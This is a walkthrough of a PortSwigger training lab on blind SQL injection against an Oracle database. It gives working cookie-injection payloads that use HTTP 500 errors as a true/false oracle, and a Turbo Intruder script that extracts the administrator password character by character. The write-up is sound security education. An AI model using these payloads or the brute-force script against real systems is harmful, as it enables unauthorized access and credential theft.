Blind SQL Injection with Conditional Errors

Posted 2026-08-29Practitioner Web PortSwigger
Blind SQL Injection with Conditional Errors

Scenario Analysis

Same idea as other blind SQLi labs — the TrackingId cookie goes straight into a SQL query. But this time the behavior is different:

  • The application doesn't show any visual difference based on query results. No Welcome back text, nothing.
  • Instead, if my injection triggers an unhandled database error, the server responds with HTTP 500. If the query is valid, it returns HTTP 200 regardless.

So the oracle here is the HTTP status code itself. I also suspected this was an Oracle database based on the error behavior, and I confirmed it with a quick test.

Confirming the Vulnerability

I intercepted a request to / and started testing in Repeater.

Validating Oracle syntax:

</> http
GET / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=ORIGINAL_ID'||(SELECT '' FROM dual)||'; session=YOUR_SESSION

HTTP 200 — the dual table works, confirming it's Oracle.

False condition (no error):

</> http
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'; session=YOUR_SESSION

HTTP 200 — the 1=2 condition is false, so TO_CHAR(1/0) never executes and there's no error.

True condition (triggers error):

</> http
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'; session=YOUR_SESSION

HTTP 500 — the 1=1 condition is true, so it tries to evaluate 1/0, which crashes with a division-by-zero error.

So the rule is simple:

  • 500 = my condition is TRUE
  • 200 = my condition is FALSE

Determining Password Length

I injected the length check inside the CASE WHEN:

</> http
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (LENGTH(password)=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=YOUR_SESSION

I went through =1, =2, =3... and at 20 the server returned HTTP 500.

The password is exactly 20 characters long.

Extracting the Password with Turbo Intruder

I right-clicked the request in RepeaterExtensionsTurbo IntruderSend to Turbo Intruder.

In the upper window I set up the template with %s for position and character. Note that Oracle uses SUBSTR instead of SUBSTRING:

</> http
Cookie: TrackingId=ORIGINAL_ID'||(SELECT CASE WHEN (SUBSTR(password,%s,1)='%s') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'; session=YOUR_SESSION

In the lower window, I pasted this script:

</> python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=2,
                           requestsPerConnection=1,
                           pipeline=False)

    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
    for pos in range(1, 21):
        for char in chars:
            engine.queue(target.req, [str(pos), char])

def handleResponse(req, interesting):
    if req.status == 500:
        table.add(req)

I clicked Launch attack. The table showed exactly 20 requests with status 500 — each one revealing the correct character for that position.

Authentication

I concatenated the 20 characters in order, went to My account (/login), logged in as administrator with the recovered password, and that was it.

Lab solved! 🏴